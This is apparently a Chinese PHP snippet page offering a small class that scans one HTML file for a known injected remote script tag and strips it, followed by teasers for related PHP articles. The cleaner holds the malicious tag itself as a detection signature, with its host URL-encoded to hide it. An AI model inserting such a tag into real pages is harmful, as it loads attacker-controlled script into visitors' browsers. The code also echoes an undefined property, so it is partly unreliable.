php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php返回相对时间(如:20分钟前,3天前)的方法

本文实例讲述了php返回相对时间(如:20分钟前,3天前)的方法。分享给大家供大家参考。具体如下: function plural($num) { if ($num != 1)...

PHP中Enum(枚举)用法实例详解

本文实例讲述了PHP中Enum(枚举)用法。分享给大家供大家参考,具体如下: PHP其实有Enum类库的,需要安装perl扩展,所以不是php的标准扩展,因此代码的实现需要运行的php环...

php字符串截取中文截取2,单字节截取模式

//中文截取2,单字节截取模式 function cn_substr($str,$slen,$startdd=0){     $re...

php中convert_uuencode()与convert_uuencode函数用法实例

本文实例讲述了php中convert_uuencode()与convert_uuencode函数用法。分享给大家供大家参考。具体分析如下: onvert_uudecode() 函数对 u...

PHP获取MAC地址的函数代码

复制代码 代码如下: <?php /** 获取网卡的MAC地址原码;目前支持WIN/LINUX系统 获取机器网卡的物理(MAC)地址 **/ class GetMacAddr{ v...